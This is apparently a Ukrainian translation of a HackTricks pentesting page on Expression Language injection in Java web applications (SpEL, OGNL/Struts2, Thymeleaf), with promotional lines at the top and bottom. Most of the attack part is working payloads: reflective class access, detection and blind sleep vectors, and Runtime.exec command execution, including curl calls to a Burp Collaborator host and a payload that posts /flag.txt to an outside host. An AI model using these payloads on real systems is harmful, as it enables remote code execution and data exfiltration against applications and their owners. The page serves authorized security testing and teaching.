Ви працюєте в кібербезпеці компанії? Хочете побачити вашу компанію рекламовану на HackTricks? або хочете мати доступ до останньої версії PEASS або завантажити HackTricks у PDF? Перевірте ПЛАНИ ПІДПИСКИ!
Відкрийте для себе Сім'ю PEASS, нашу колекцію ексклюзивних NFT
Мова виразів (EL) є невід'ємною частиною JavaEE для зв'язку рівня презентації (наприклад, веб-сторінок) та логіки додатків (наприклад, керованих бінів), що дозволяє їх взаємодію. Вона використовується переважно в:
JavaServer Faces (JSF): Для зв'язування компонентів користувацького інтерфейсу з даними/діями на бекенді.
JavaServer Pages (JSP): Для доступу до даних та їхньої маніпуляції в JSP-сторінках.
Контексти та ін'єкція залежностей для Java EE (CDI): Для сприяння взаємодії рівня вебу з керованими бінами.
Контексти використання:
Spring Framework: Застосовується в різних модулях, таких як Безпека та Дані.
Загальне використання: Через API SpEL розробниками в мовах на основі JVM, таких як Java, Kotlin та Scala.
EL присутня в технологіях JavaEE, автономних середовищах та впізнається за розширеннями файлів .jsp або .jsf, стековими помилками та термінами, такими як "Servlet" у заголовках. Однак її функції та використання певних символів можуть залежати від версії.
Залежно від версії EL деякі функції можуть бути Увімкнені або Вимкнені, і зазвичай деякі символи можуть бути заборонені.
java -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main
Enter a String to evaluate:{5*5}[25]
Зверніть увагу, як у попередньому прикладі термін {5*5} був оцінений.
#Basic string operations examples{"a".toString()}[a]{"dfd".replace("d","x")}[xfx]#Access to the String class{"".getClass()}[class java.lang.String]#Access ro the String class bypassing "getClass"#{""["class"]}#Access to arbitrary class{"".getClass().forName("java.util.Date")}[class java.util.Date]#List methods of a class{"".getClass().forName("java.util.Date").getMethods()[0].toString()}[public boolean java.util.Date.equals(java.lang.Object)]
Виявлення
Виявлення за допомогою Burp
gk6q${"zkz".toString().replace("k","x")}doap2#The value returned was "igk6qzxzdoap2", indicating of the execution of the expression.
Виявлення J2EE
#J2EEScan Detection vector (substitute the content of the response body with the content of the "INJPARAM" parameter concatenated with a sum of integer):
https://www.example.url/?vulnerableParameter=PRE-${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.print(new%20java.lang.Integer(829%2b9))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}-POST&INJPARAM=HOOK_VAL
Сон 10 секунд
#Blind detection vector (sleep during 10 seconds)https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40java.lang.Thread%40sleep(10000)%2c1%3f%23xx%3a%23request.toString}
#Check the method getRuntime is there{"".getClass().forName("java.lang.Runtime").getMethods()[6].toString()}[public static java.lang.Runtime java.lang.Runtime.getRuntime()]#Execute command (you won't see the command output in the console){"".getClass().forName("java.lang.Runtime").getRuntime().exec("curl http://127.0.0.1:8000")}[Process[pid=10892, exitValue=0]]#Execute command bypassing "getClass"#{""["class"].forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("curl <instance>.burpcollaborator.net")}
# With HTMl entities injection inside the template<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
Ви працюєте в кібербезпеці? Хочете, щоб ваша компанія рекламувалася на HackTricks? або ви хочете мати доступ до останньої версії PEASS або завантажити HackTricks у PDF? Перевірте ПЛАНИ ПІДПИСКИ!
Відкрийте для себе Сім'ю PEASS, нашу колекцію ексклюзивних NFT